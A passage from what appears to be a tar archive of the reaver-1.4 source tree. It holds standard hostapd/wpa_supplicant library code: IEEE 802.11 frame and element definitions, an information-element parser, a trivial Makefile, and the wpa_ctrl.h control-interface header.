7-24) */ #define WLAN_ACTION_SPECTRUM_MGMT 0 #define WLAN_ACTION_QOS 1 #define WLAN_ACTION_DLS 2 #define WLAN_ACTION_BLOCK_ACK 3 #define WLAN_ACTION_PUBLIC 4 #define WLAN_ACTION_RADIO_MEASUREMENT 5 #define WLAN_ACTION_FT 6 #define WLAN_ACTION_HT 7 #define WLAN_ACTION_SA_QUERY 8 #define WLAN_ACTION_WMM 17 /* WMM Specification 1.1 */ /* SA Query Action frame (IEEE 802.11w/D8.0, 7.4.9) */ #define WLAN_SA_QUERY_REQUEST 0 #define WLAN_SA_QUERY_RESPONSE 1 #define WLAN_SA_QUERY_TR_ID_LEN 2 /* Timeout Interval Type */ #define WLAN_TIMEOUT_REASSOC_DEADLINE 1 #define WLAN_TIMEOUT_KEY_LIFETIME 2 #define WLAN_TIMEOUT_ASSOC_COMEBACK 3 #ifdef _MSC_VER #pragma pack(push, 1) #endif /* _MSC_VER */ struct ieee80211_hdr { le16 frame_control; le16 duration_id; u8 addr1[6]; u8 addr2[6]; u8 addr3[6]; le16 seq_ctrl; /* followed by 'u8 addr4[6];' if ToDS and FromDS is set in data frame */ } STRUCT_PACKED; #define IEEE80211_DA_FROMDS addr1 #define IEEE80211_BSSID_FROMDS addr2 #define IEEE80211_SA_FROMDS addr3 #define IEEE80211_HDRLEN (sizeof(struct ieee80211_hdr)) #define IEEE80211_FC(type, stype) host_to_le16((type << 2) | (stype << 4)) struct ieee80211_mgmt { le16 frame_control; le16 duration; u8 da[6]; u8 sa[6]; u8 bssid[6]; le16 seq_ctrl; union { struct { le16 auth_alg; le16 auth_transaction; le16 status_code; /* possibly followed by Challenge text */ u8 variable[0]; } STRUCT_PACKED auth; struct { le16 reason_code; } STRUCT_PACKED deauth; struct { le16 capab_info; le16 listen_interval; /* followed by SSID and Supported rates */ u8 variable[0]; } STRUCT_PACKED assoc_req; struct { le16 capab_info; le16 status_code; le16 aid; /* followed by Supported rates */ u8 variable[0]; } STRUCT_PACKED assoc_resp, reassoc_resp; struct { le16 capab_info; le16 listen_interval; u8 current_ap[6]; /* followed by SSID and Supported rates */ u8 variable[0]; } STRUCT_PACKED reassoc_req; struct { le16 reason_code; } STRUCT_PACKED disassoc; struct { u8 timestamp[8]; le16 beacon_int; le16 capab_info; /* followed by some of SSID, Supported rates, * FH Params, DS Params, CF Params, IBSS Params, TIM */ u8 variable[0]; } STRUCT_PACKED beacon; struct { /* only variable items: SSID, Supported rates */ u8 variable[0]; } STRUCT_PACKED probe_req; struct { u8 timestamp[8]; le16 beacon_int; le16 capab_info; /* followed by some of SSID, Supported rates, * FH Params, DS Params, CF Params, IBSS Params */ u8 variable[0]; } STRUCT_PACKED probe_resp; struct { u8 category; union { struct { u8 action_code; u8 dialog_token; u8 status_code; u8 variable[0]; } STRUCT_PACKED wmm_action; struct{ u8 action_code; u8 element_id; u8 length; u8 switch_mode; u8 new_chan; u8 switch_count; } STRUCT_PACKED chan_switch; struct { u8 action; u8 sta_addr[ETH_ALEN]; u8 target_ap_addr[ETH_ALEN]; u8 variable[0]; /* FT Request */ } STRUCT_PACKED ft_action_req; struct { u8 action; u8 sta_addr[ETH_ALEN]; u8 target_ap_addr[ETH_ALEN]; le16 status_code; u8 variable[0]; /* FT Request */ } STRUCT_PACKED ft_action_resp; struct { u8 action; u8 trans_id[WLAN_SA_QUERY_TR_ID_LEN]; } STRUCT_PACKED sa_query_req; struct { u8 action; /* */ u8 trans_id[WLAN_SA_QUERY_TR_ID_LEN]; } STRUCT_PACKED sa_query_resp; } u; } STRUCT_PACKED action; } u; } STRUCT_PACKED; struct ieee80211_ht_capabilities { le16 ht_capabilities_info; u8 a_mpdu_params; u8 supported_mcs_set[16]; le16 ht_extended_capabilities; le32 tx_bf_capability_info; u8 asel_capabilities; } STRUCT_PACKED; struct ieee80211_ht_operation { u8 control_chan; u8 ht_param; le16 operation_mode; le16 stbc_param; u8 basic_set[16]; } STRUCT_PACKED; #ifdef _MSC_VER #pragma pack(pop) #endif /* _MSC_VER */ #define ERP_INFO_NON_ERP_PRESENT BIT(0) #define ERP_INFO_USE_PROTECTION BIT(1) #define ERP_INFO_BARKER_PREAMBLE_MODE BIT(2) #define HT_CAP_INFO_LDPC_CODING_CAP ((u16) BIT(0)) #define HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET ((u16) BIT(1)) #define HT_CAP_INFO_SMPS_MASK ((u16) (BIT(2) | BIT(3))) #define HT_CAP_INFO_SMPS_STATIC ((u16) 0) #define HT_CAP_INFO_SMPS_DYNAMIC ((u16) BIT(2)) #define HT_CAP_INFO_SMPS_DISABLED ((u16) (BIT(2) | BIT(3))) #define HT_CAP_INFO_GREEN_FIELD ((u16) BIT(4)) #define HT_CAP_INFO_SHORT_GI20MHZ ((u16) BIT(5)) #define HT_CAP_INFO_SHORT_GI40MHZ ((u16) BIT(6)) #define HT_CAP_INFO_TX_STBC ((u16) BIT(7)) #define HT_CAP_INFO_RX_STBC_MASK ((u16) (BIT(8) | BIT(9))) #define HT_CAP_INFO_RX_STBC_1 ((u16) BIT(8)) #define HT_CAP_INFO_RX_STBC_12 ((u16) BIT(9)) #define HT_CAP_INFO_RX_STBC_123 ((u16) (BIT(8) | BIT(9))) #define HT_CAP_INFO_DELAYED_BA ((u16) BIT(10)) #define HT_CAP_INFO_MAX_AMSDU_SIZE ((u16) BIT(11)) #define HT_CAP_INFO_DSSS_CCK40MHZ ((u16) BIT(12)) #define HT_CAP_INFO_PSMP_SUPP ((u16) BIT(13)) #define HT_CAP_INFO_40MHZ_INTOLERANT ((u16) BIT(14)) #define HT_CAP_INFO_LSIG_TXOP_PROTECT_SUPPORT ((u16) BIT(15)) #define EXT_HT_CAP_INFO_PCO ((u16) BIT(0)) #define EXT_HT_CAP_INFO_TRANS_TIME_OFFSET 1 #define EXT_HT_CAP_INFO_MCS_FEEDBACK_OFFSET 8 #define EXT_HT_CAP_INFO_HTC_SUPPORTED ((u16) BIT(10)) #define EXT_HT_CAP_INFO_RD_RESPONDER ((u16) BIT(11)) #define TX_BEAMFORM_CAP_TXBF_CAP ((u32) BIT(0)) #define TX_BEAMFORM_CAP_RX_STAGGERED_SOUNDING_CAP ((u32) BIT(1)) #define TX_BEAMFORM_CAP_TX_STAGGERED_SOUNDING_CAP ((u32) BIT(2)) #define TX_BEAMFORM_CAP_RX_ZLF_CAP ((u32) BIT(3)) #define TX_BEAMFORM_CAP_TX_ZLF_CAP ((u32) BIT(4)) #define TX_BEAMFORM_CAP_IMPLICIT_ZLF_CAP ((u32) BIT(5)) #define TX_BEAMFORM_CAP_CALIB_OFFSET 6 #define TX_BEAMFORM_CAP_EXPLICIT_CSI_TXBF_CAP ((u32) BIT(8)) #define TX_BEAMFORM_CAP_EXPLICIT_UNCOMPR_STEERING_MATRIX_CAP ((u32) BIT(9)) #define TX_BEAMFORM_CAP_EXPLICIT_BF_CSI_FEEDBACK_CAP ((u32) BIT(10)) #define TX_BEAMFORM_CAP_EXPLICIT_BF_CSI_FEEDBACK_OFFSET 11 #define TX_BEAMFORM_CAP_EXPLICIT_UNCOMPR_STEERING_MATRIX_FEEDBACK_OFFSET 13 #define TX_BEAMFORM_CAP_EXPLICIT_COMPRESSED_STEERING_MATRIX_FEEDBACK_OFFSET 15 #define TX_BEAMFORM_CAP_MINIMAL_GROUPING_OFFSET 17 #define TX_BEAMFORM_CAP_CSI_NUM_BEAMFORMER_ANT_OFFSET 19 #define TX_BEAMFORM_CAP_UNCOMPRESSED_STEERING_MATRIX_BEAMFORMER_ANT_OFFSET 21 #define TX_BEAMFORM_CAP_COMPRESSED_STEERING_MATRIX_BEAMFORMER_ANT_OFFSET 23 #define TX_BEAMFORM_CAP_SCI_MAX_OF_ROWS_BEANFORMER_SUPPORTED_OFFSET 25 #define ASEL_CAPABILITY_ASEL_CAPABLE ((u8) BIT(0)) #define ASEL_CAPABILITY_EXPLICIT_CSI_FEEDBACK_BASED_TX_AS_CAP ((u8) BIT(1)) #define ASEL_CAPABILITY_ANT_INDICES_FEEDBACK_BASED_TX_AS_CAP ((u8) BIT(2)) #define ASEL_CAPABILITY_EXPLICIT_CSI_FEEDBACK_CAP ((u8) BIT(3)) #define ASEL_CAPABILITY_ANT_INDICES_FEEDBACK_CAP ((u8) BIT(4)) #define ASEL_CAPABILITY_RX_AS_CAP ((u8) BIT(5)) #define ASEL_CAPABILITY_TX_SOUND_PPDUS_CAP ((u8) BIT(6)) #define HT_INFO_HT_PARAM_SECONDARY_CHNL_OFF_MASK ((u8) BIT(0) | BIT(1)) #define HT_INFO_HT_PARAM_SECONDARY_CHNL_ABOVE ((u8) BIT(0)) #define HT_INFO_HT_PARAM_SECONDARY_CHNL_BELOW ((u8) BIT(0) | BIT(1)) #define HT_INFO_HT_PARAM_REC_TRANS_CHNL_WIDTH ((u8) BIT(2)) #define HT_INFO_HT_PARAM_RIFS_MODE ((u8) BIT(3)) #define HT_INFO_HT_PARAM_CTRL_ACCESS_ONLY ((u8) BIT(4)) #define HT_INFO_HT_PARAM_SRV_INTERVAL_GRANULARITY ((u8) BIT(5)) #define OP_MODE_PURE 0 #define OP_MODE_MAY_BE_LEGACY_STAS 1 #define OP_MODE_20MHZ_HT_STA_ASSOCED 2 #define OP_MODE_MIXED 3 #define HT_INFO_OPERATION_MODE_OP_MODE_MASK \ ((le16) (0x0001 | 0x0002)) #define HT_INFO_OPERATION_MODE_OP_MODE_OFFSET 0 #define HT_INFO_OPERATION_MODE_NON_GF_DEVS_PRESENT ((u8) BIT(2)) #define HT_INFO_OPERATION_MODE_TRANSMIT_BURST_LIMIT ((u8) BIT(3)) #define HT_INFO_OPERATION_MODE_NON_HT_STA_PRESENT ((u8) BIT(4)) #define HT_INFO_STBC_PARAM_DUAL_BEACON ((u16) BIT(6)) #define HT_INFO_STBC_PARAM_DUAL_STBC_PROTECT ((u16) BIT(7)) #define HT_INFO_STBC_PARAM_SECONDARY_BCN ((u16) BIT(8)) #define HT_INFO_STBC_PARAM_LSIG_TXOP_PROTECT_ALLOWED ((u16) BIT(9)) #define HT_INFO_STBC_PARAM_PCO_ACTIVE ((u16) BIT(10)) #define HT_INFO_STBC_PARAM_PCO_PHASE ((u16) BIT(11)) #define OUI_MICROSOFT 0x0050f2 /* Microsoft (also used in Wi-Fi specs) * 00:50:F2 */ #define WPA_IE_VENDOR_TYPE 0x0050f201 #define WPS_IE_VENDOR_TYPE 0x0050f204 #define WMM_OUI_TYPE 2 #define WMM_OUI_SUBTYPE_INFORMATION_ELEMENT 0 #define WMM_OUI_SUBTYPE_PARAMETER_ELEMENT 1 #define WMM_OUI_SUBTYPE_TSPEC_ELEMENT 2 #define WMM_VERSION 1 #define WMM_ACTION_CODE_ADDTS_REQ 0 #define WMM_ACTION_CODE_ADDTS_RESP 1 #define WMM_ACTION_CODE_DELTS 2 #define WMM_ADDTS_STATUS_ADMISSION_ACCEPTED 0 #define WMM_ADDTS_STATUS_INVALID_PARAMETERS 1 /* 2 - Reserved */ #define WMM_ADDTS_STATUS_REFUSED 3 /* 4-255 - Reserved */ /* WMM TSPEC Direction Field Values */ #define WMM_TSPEC_DIRECTION_UPLINK 0 #define WMM_TSPEC_DIRECTION_DOWNLINK 1 /* 2 - Reserved */ #define WMM_TSPEC_DIRECTION_BI_DIRECTIONAL 3 /* * WMM Information Element (used in (Re)Association Request frames; may also be * used in Beacon frames) */ struct wmm_information_element { /* Element ID: 221 (0xdd); Length: 7 */ /* required fields for WMM version 1 */ u8 oui[3]; /* 00:50:f2 */ u8 oui_type; /* 2 */ u8 oui_subtype; /* 0 */ u8 version; /* 1 for WMM version 1.0 */ u8 qos_info; /* AP/STA specific QoS info */ } STRUCT_PACKED; #define WMM_AC_AIFSN_MASK 0x0f #define WMM_AC_AIFNS_SHIFT 0 #define WMM_AC_ACM 0x10 #define WMM_AC_ACI_MASK 0x60 #define WMM_AC_ACI_SHIFT 5 #define WMM_AC_ECWMIN_MASK 0x0f #define WMM_AC_ECWMIN_SHIFT 0 #define WMM_AC_ECWMAX_MASK 0xf0 #define WMM_AC_ECWMAX_SHIFT 4 struct wmm_ac_parameter { u8 aci_aifsn; /* AIFSN, ACM, ACI */ u8 cw; /* ECWmin, ECWmax (CW = 2^ECW - 1) */ le16 txop_limit; } STRUCT_PACKED; /* * WMM Parameter Element (used in Beacon, Probe Response, and (Re)Association * Response frmaes) */ struct wmm_parameter_element { /* Element ID: 221 (0xdd); Length: 24 */ /* required fields for WMM version 1 */ u8 oui[3]; /* 00:50:f2 */ u8 oui_type; /* 2 */ u8 oui_subtype; /* 1 */ u8 version; /* 1 for WMM version 1.0 */ u8 qos_info; /* AP/STA specif QoS info */ u8 reserved; /* 0 */ struct wmm_ac_parameter ac[4]; /* AC_BE, AC_BK, AC_VI, AC_VO */ } STRUCT_PACKED; /* WMM TSPEC Element */ struct wmm_tspec_element { u8 eid; /* 221 = 0xdd */ u8 length; /* 6 + 55 = 61 */ u8 oui[3]; /* 00:50:f2 */ u8 oui_type; /* 2 */ u8 oui_subtype; /* 2 */ u8 version; /* 1 */ /* WMM TSPEC body (55 octets): */ u8 ts_info[3]; le16 nominal_msdu_size; le16 maximum_msdu_size; le32 minimum_service_interval; le32 maximum_service_interval; le32 inactivity_interval; le32 suspension_interval; le32 service_start_time; le32 minimum_data_rate; le32 mean_data_rate; le32 peak_data_rate; le32 maximum_burst_size; le32 delay_bound; le32 minimum_phy_rate; le16 surplus_bandwidth_allowance; le16 medium_time; } STRUCT_PACKED; /* Access Categories / ACI to AC coding */ enum { WMM_AC_BE = 0 /* Best Effort */, WMM_AC_BK = 1 /* Background */, WMM_AC_VI = 2 /* Video */, WMM_AC_VO = 3 /* Voice */ }; #define OUI_BROADCOM 0x00904c /* Broadcom (Epigram) */ #define VENDOR_HT_CAPAB_OUI_TYPE 0x33 /* 00-90-4c:0x33 */ /* cipher suite selectors */ #define WLAN_CIPHER_SUITE_USE_GROUP 0x000FAC00 #define WLAN_CIPHER_SUITE_WEP40 0x000FAC01 #define WLAN_CIPHER_SUITE_TKIP 0x000FAC02 /* reserved: 0x000FAC03 */ #define WLAN_CIPHER_SUITE_CCMP 0x000FAC04 #define WLAN_CIPHER_SUITE_WEP104 0x000FAC05 #define WLAN_CIPHER_SUITE_AES_CMAC 0x000FAC06 /* AKM suite selectors */ #define WLAN_AKM_SUITE_8021X 0x000FAC01 #define WLAN_AKM_SUITE_PSK 0x000FAC02 #endif /* IEEE802_11_DEFS_H */ reaver-1.4/src/common/ieee802_11_common.c0000755000175000017500000001635511705505256017454 0ustar reaverreaver/* * IEEE 802.11 Common routines * Copyright (c) 2002-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "ieee802_11_defs.h" #include "ieee802_11_common.h" static int ieee802_11_parse_vendor_specific(const u8 *pos, size_t elen, struct ieee802_11_elems *elems, int show_errors) { unsigned int oui; /* first 3 bytes in vendor specific information element are the IEEE * OUI of the vendor. The following byte is used a vendor specific * sub-type. */ if (elen < 4) { if (show_errors) { wpa_printf(MSG_MSGDUMP, "short vendor specific " "information element ignored (len=%lu)", (unsigned long) elen); } return -1; } oui = WPA_GET_BE24(pos); switch (oui) { case OUI_MICROSOFT: /* Microsoft/Wi-Fi information elements are further typed and * subtyped */ switch (pos[3]) { case 1: /* Microsoft OUI (00:50:F2) with OUI Type 1: * real WPA information element */ elems->wpa_ie = pos; elems->wpa_ie_len = elen; break; case WMM_OUI_TYPE: /* WMM information element */ if (elen < 5) { wpa_printf(MSG_MSGDUMP, "short WMM " "information element ignored " "(len=%lu)", (unsigned long) elen); return -1; } switch (pos[4]) { case WMM_OUI_SUBTYPE_INFORMATION_ELEMENT: case WMM_OUI_SUBTYPE_PARAMETER_ELEMENT: /* * Share same pointer since only one of these * is used and they start with same data. * Length field can be used to distinguish the * IEs. */ elems->wmm = pos; elems->wmm_len = elen; break; case WMM_OUI_SUBTYPE_TSPEC_ELEMENT: elems->wmm_tspec = pos; elems->wmm_tspec_len = elen; break; default: wpa_printf(MSG_MSGDUMP, "unknown WMM " "information element ignored " "(subtype=%d len=%lu)", pos[4], (unsigned long) elen); return -1; } break; case 4: /* Wi-Fi Protected Setup (WPS) IE */ elems->wps_ie = pos; elems->wps_ie_len = elen; break; default: wpa_printf(MSG_MSGDUMP, "Unknown Microsoft " "information element ignored " "(type=%d len=%lu)\n", pos[3], (unsigned long) elen); return -1; } break; case OUI_BROADCOM: switch (pos[3]) { case VENDOR_HT_CAPAB_OUI_TYPE: elems->vendor_ht_cap = pos; elems->vendor_ht_cap_len = elen; break; default: wpa_printf(MSG_MSGDUMP, "Unknown Broadcom " "information element ignored " "(type=%d len=%lu)\n", pos[3], (unsigned long) elen); return -1; } break; default: wpa_printf(MSG_MSGDUMP, "unknown vendor specific information " "element ignored (vendor OUI %02x:%02x:%02x " "len=%lu)", pos[0], pos[1], pos[2], (unsigned long) elen); return -1; } return 0; } /** * ieee802_11_parse_elems - Parse information elements in management frames * @start: Pointer to the start of IEs * @len: Length of IE buffer in octets * @elems: Data structure for parsed elements * @show_errors: Whether to show parsing errors in debug log * Returns: Parsing result */ ParseRes ieee802_11_parse_elems(const u8 *start, size_t len, struct ieee802_11_elems *elems, int show_errors) { size_t left = len; const u8 *pos = start; int unknown = 0; os_memset(elems, 0, sizeof(*elems)); while (left >= 2) { u8 id, elen; id = *pos++; elen = *pos++; left -= 2; if (elen > left) { if (show_errors) { wpa_printf(MSG_DEBUG, "IEEE 802.11 element " "parse failed (id=%d elen=%d " "left=%lu)", id, elen, (unsigned long) left); wpa_hexdump(MSG_MSGDUMP, "IEs", start, len); } return ParseFailed; } switch (id) { case WLAN_EID_SSID: elems->ssid = pos; elems->ssid_len = elen; break; case WLAN_EID_SUPP_RATES: elems->supp_rates = pos; elems->supp_rates_len = elen; break; case WLAN_EID_FH_PARAMS: elems->fh_params = pos; elems->fh_params_len = elen; break; case WLAN_EID_DS_PARAMS: elems->ds_params = pos; elems->ds_params_len = elen; break; case WLAN_EID_CF_PARAMS: elems->cf_params = pos; elems->cf_params_len = elen; break; case WLAN_EID_TIM: elems->tim = pos; elems->tim_len = elen; break; case WLAN_EID_IBSS_PARAMS: elems->ibss_params = pos; elems->ibss_params_len = elen; break; case WLAN_EID_CHALLENGE: elems->challenge = pos; elems->challenge_len = elen; break; case WLAN_EID_ERP_INFO: elems->erp_info = pos; elems->erp_info_len = elen; break; case WLAN_EID_EXT_SUPP_RATES: elems->ext_supp_rates = pos; elems->ext_supp_rates_len = elen; break; case WLAN_EID_VENDOR_SPECIFIC: if (ieee802_11_parse_vendor_specific(pos, elen, elems, show_errors)) unknown++; break; case WLAN_EID_RSN: elems->rsn_ie = pos; elems->rsn_ie_len = elen; break; case WLAN_EID_PWR_CAPABILITY: elems->power_cap = pos; elems->power_cap_len = elen; break; case WLAN_EID_SUPPORTED_CHANNELS: elems->supp_channels = pos; elems->supp_channels_len = elen; break; case WLAN_EID_MOBILITY_DOMAIN: elems->mdie = pos; elems->mdie_len = elen; break; case WLAN_EID_FAST_BSS_TRANSITION: elems->ftie = pos; elems->ftie_len = elen; break; case WLAN_EID_TIMEOUT_INTERVAL: elems->timeout_int = pos; elems->timeout_int_len = elen; break; case WLAN_EID_HT_CAP: elems->ht_capabilities = pos; elems->ht_capabilities_len = elen; break; case WLAN_EID_HT_OPERATION: elems->ht_operation = pos; elems->ht_operation_len = elen; break; default: unknown++; if (!show_errors) break; wpa_printf(MSG_MSGDUMP, "IEEE 802.11 element parse " "ignored unknown element (id=%d elen=%d)", id, elen); break; } left -= elen; pos += elen; } if (left) return ParseFailed; return unknown ? ParseUnknown : ParseOK; } int ieee802_11_ie_count(const u8 *ies, size_t ies_len) { int count = 0; const u8 *pos, *end; if (ies == NULL) return 0; pos = ies; end = ies + ies_len; while (pos + 2 <= end) { if (pos + 2 + pos[1] > end) break; count++; pos += 2 + pos[1]; } return count; } struct wpabuf * ieee802_11_vendor_ie_concat(const u8 *ies, size_t ies_len, u32 oui_type) { struct wpabuf *buf; const u8 *end, *pos, *ie; pos = ies; end = ies + ies_len; ie = NULL; while (pos + 1 < end) { if (pos + 2 + pos[1] > end) return NULL; if (pos[0] == WLAN_EID_VENDOR_SPECIFIC && pos[1] >= 4 && WPA_GET_BE32(&pos[2]) == oui_type) { ie = pos; break; } pos += 2 + pos[1]; } if (ie == NULL) return NULL; /* No specified vendor IE found */ buf = wpabuf_alloc(ies_len); if (buf == NULL) return NULL; /* * There may be multiple vendor IEs in the message, so need to * concatenate their data fields. */ while (pos + 1 < end) { if (pos + 2 + pos[1] > end) break; if (pos[0] == WLAN_EID_VENDOR_SPECIFIC && pos[1] >= 4 && WPA_GET_BE32(&pos[2]) == oui_type) wpabuf_put_data(buf, pos + 6, pos[1] - 4); pos += 2 + pos[1]; } return buf; } reaver-1.4/src/common/Makefile0000755000175000017500000000013711705505256015725 0ustar reaverreaverall: @echo Nothing to be made. clean: rm -f *~ *.o *.d install: @echo Nothing to be made. reaver-1.4/src/common/wpa_ctrl.h0000755000175000017500000002263011705505256016253 0ustar reaverreaver/* * wpa_supplicant/hostapd control interface library * Copyright (c) 2004-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPA_CTRL_H #define WPA_CTRL_H #ifdef __cplusplus extern "C" { #endif /* wpa_supplicant control interface - fixed message prefixes */ /** Interactive request for identity/password/pin */ #define WPA_CTRL_REQ "CTRL-REQ-" /** Response to identity/password/pin request */ #define WPA_CTRL_RSP "CTRL-RSP-" /* Event messages with fixed prefix */ /** Authentication completed successfully and data connection enabled */ #define WPA_EVENT_CONNECTED "CTRL-EVENT-CONNECTED " /** Disconnected, data connection is not available */ #define WPA_EVENT_DISCONNECTED "CTRL-EVENT-DISCONNECTED " /** wpa_supplicant is exiting */ #define WPA_EVENT_TERMINATING "CTRL-EVENT-TERMINATING " /** Password change was completed successfully */ #define WPA_EVENT_PASSWORD_CHANGED "CTRL-EVENT-PASSWORD-CHANGED " /** EAP-Request/Notification received */ #define WPA_EVENT_EAP_NOTIFICATION "CTRL-EVENT-EAP-NOTIFICATION " /** EAP authentication started (EAP-Request/Identity received) */ #define WPA_EVENT_EAP_STARTED "CTRL-EVENT-EAP-STARTED " /** EAP method proposed by the server */ #define WPA_EVENT_EAP_PROPOSED_METHOD "CTRL-EVENT-EAP-PROPOSED-METHOD " /** EAP method selected */ #define WPA_EVENT_EAP_METHOD "CTRL-EVENT-EAP-METHOD " /** EAP peer certificate from TLS */ #define WPA_EVENT_EAP_PEER_CERT "CTRL-EVENT-EAP-PEER-CERT " /** EAP TLS certificate chain validation error */ #define WPA_EVENT_EAP_TLS_CERT_ERROR "CTRL-EVENT-EAP-TLS-CERT-ERROR " /** EAP authentication completed successfully */ #define WPA_EVENT_EAP_SUCCESS "CTRL-EVENT-EAP-SUCCESS " /** EAP authentication failed (EAP-Failure received) */ #define WPA_EVENT_EAP_FAILURE "CTRL-EVENT-EAP-FAILURE " /** New scan results available */ #define WPA_EVENT_SCAN_RESULTS "CTRL-EVENT-SCAN-RESULTS " /** A new BSS entry was added (followed by BSS entry id and BSSID) */ #define WPA_EVENT_BSS_ADDED "CTRL-EVENT-BSS-ADDED " /** A BSS entry was removed (followed by BSS entry id and BSSID) */ #define WPA_EVENT_BSS_REMOVED "CTRL-EVENT-BSS-REMOVED " /** WPS overlap detected in PBC mode */ #define WPS_EVENT_OVERLAP "WPS-OVERLAP-DETECTED " /** Available WPS AP with active PBC found in scan results */ #define WPS_EVENT_AP_AVAILABLE_PBC "WPS-AP-AVAILABLE-PBC " /** Available WPS AP with recently selected PIN registrar found in scan results */ #define WPS_EVENT_AP_AVAILABLE_PIN "WPS-AP-AVAILABLE-PIN " /** Available WPS AP found in scan results */ #define WPS_EVENT_AP_AVAILABLE "WPS-AP-AVAILABLE " /** A new credential received */ #define WPS_EVENT_CRED_RECEIVED "WPS-CRED-RECEIVED " /** M2D received */ #define WPS_EVENT_M2D "WPS-M2D " /** WPS registration failed after M2/M2D */ #define WPS_EVENT_FAIL "WPS-FAIL " /** WPS registration completed successfully */ #define WPS_EVENT_SUCCESS "WPS-SUCCESS " /** WPS enrollment attempt timed out and was terminated */ #define WPS_EVENT_TIMEOUT "WPS-TIMEOUT " #define WPS_EVENT_ENROLLEE_SEEN "WPS-ENROLLEE-SEEN " /* WPS ER events */ #define WPS_EVENT_ER_AP_ADD "WPS-ER-AP-ADD " #define WPS_EVENT_ER_AP_REMOVE "WPS-ER-AP-REMOVE " #define WPS_EVENT_ER_ENROLLEE_ADD "WPS-ER-ENROLLEE-ADD " #define WPS_EVENT_ER_ENROLLEE_REMOVE "WPS-ER-ENROLLEE-REMOVE " /* hostapd control interface - fixed message prefixes */ #define WPS_EVENT_PIN_NEEDED "WPS-PIN-NEEDED " #define WPS_EVENT_NEW_AP_SETTINGS "WPS-NEW-AP-SETTINGS " #define WPS_EVENT_REG_SUCCESS "WPS-REG-SUCCESS " #define WPS_EVENT_AP_SETUP_LOCKED "WPS-AP-SETUP-LOCKED " #define WPS_EVENT_AP_SETUP_UNLOCKED "WPS-AP-SETUP-UNLOCKED " #define WPS_EVENT_AP_PIN_ENABLED "WPS-AP-PIN-ENABLED " #define WPS_EVENT_AP_PIN_DISABLED "WPS-AP-PIN-DISABLED " #define AP_STA_CONNECTED "AP-STA-CONNECTED " #define AP_STA_DISCONNECTED "AP-STA-DISCONNECTED " /* wpa_supplicant/hostapd control interface access */ /** * wpa_ctrl_open - Open a control interface to wpa_supplicant/hostapd * @ctrl_path: Path for UNIX domain sockets; ignored if UDP sockets are used. * Returns: Pointer to abstract control interface data or %NULL on failure * * This function is used to open a control interface to wpa_supplicant/hostapd. * ctrl_path is usually /var/run/wpa_supplicant or /var/run/hostapd. This path * is configured in wpa_supplicant/hostapd and other programs using the control * interface need to use matching path configuration. */ struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path); /** * wpa_ctrl_close - Close a control interface to wpa_supplicant/hostapd * @ctrl: Control interface data from wpa_ctrl_open() * * This function is used to close a control interface. */ void wpa_ctrl_close(struct wpa_ctrl *ctrl); /** * wpa_ctrl_request - Send a command to wpa_supplicant/hostapd * @ctrl: Control interface data from wpa_ctrl_open() * @cmd: Command; usually, ASCII text, e.g., "PING" * @cmd_len: Length of the cmd in bytes * @reply: Buffer for the response * @reply_len: Reply buffer length * @msg_cb: Callback function for unsolicited messages or %NULL if not used * Returns: 0 on success, -1 on error (send or receive failed), -2 on timeout * * This function is used to send commands to wpa_supplicant/hostapd. Received * response will be written to reply and reply_len is set to the actual length * of the reply. This function will block for up to two seconds while waiting * for the reply. If unsolicited messages are received, the blocking time may * be longer. * * msg_cb can be used to register a callback function that will be called for * unsolicited messages received while waiting for the command response. These * messages may be received if wpa_ctrl_request() is called at the same time as * wpa_supplicant/hostapd is sending such a message. This can happen only if * the program has used wpa_ctrl_attach() to register itself as a monitor for * event messages. Alternatively to msg_cb, programs can register two control * interface connections and use one of them for commands and the other one for * receiving event messages, in other words, call wpa_ctrl_attach() only for * the control interface connection that will be used for event messages. */ int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len, char *reply, size_t *reply_len, void (*msg_cb)(char *msg, size_t len)); /** * wpa_ctrl_attach - Register as an event monitor for the control interface * @ctrl: Control interface data from wpa_ctrl_open() * Returns: 0 on success, -1 on failure, -2 on timeout * * This function registers the control interface connection as a monitor for * wpa_supplicant/hostapd events. After a success wpa_ctrl_attach() call, the * control interface connection starts receiving event messages that can be * read with wpa_ctrl_recv(). */ int wpa_ctrl_attach(struct wpa_ctrl *ctrl); /** * wpa_ctrl_detach - Unregister event monitor from the control interface * @ctrl: Control interface data from wpa_ctrl_open() * Returns: 0 on success, -1 on failure, -2 on timeout * * This function unregisters the control interface connection as a monitor for * wpa_supplicant/hostapd events, i.e., cancels the registration done with * wpa_ctrl_attach(). */ int wpa_ctrl_detach(struct wpa_ctrl *ctrl); /** * wpa_ctrl_recv - Receive a pending control interface message * @ctrl: Control interface data from wpa_ctrl_open() * @reply: Buffer for the message data * @reply_len: Length of the reply buffer * Returns: 0 on success, -1 on failure * * This function will receive a pending control interface message. This * function will block if no messages are available. The received response will * be written to reply and reply_len is set to the actual length of the reply. * wpa_ctrl_recv() is only used for event messages, i.e., wpa_ctrl_attach() * must have been used to register the control interface as an event monitor. */ int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len); /** * wpa_ctrl_pending - Check whether there are pending event messages * @ctrl: Control interface data from wpa_ctrl_open() * Returns: 1 if there are pending messages, 0 if no, or -1 on error * * This function will check whether there are any pending control interface * message available to be received with wpa_ctrl_recv(). wpa_ctrl_pending() is * only used for event messages, i.e., wpa_ctrl_attach() must have been used to * register the control interface as an event monitor. */ int wpa_ctrl_pending(struct wpa_ctrl *ctrl); /** * wpa_ctrl_get_fd - Get file descriptor used by the control interface * @ctrl: Control interface data from wpa_ctrl_open() * Returns: File descriptor used for the connection * * This function can be used to get the file descriptor that is used for the * control interface connection. The returned value can be used, e.g., with * select() while waiting for multiple events. * * The returned file descriptor must not be used directly for sending or * receiving packets; instead, the library functions wpa_ctrl_request() and * wpa_ctrl_recv() must be used for this. */ int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl); #ifdef CONFIG_CTRL_IFACE_UDP #define WPA_CTRL_IFACE_PORT 9877 #define 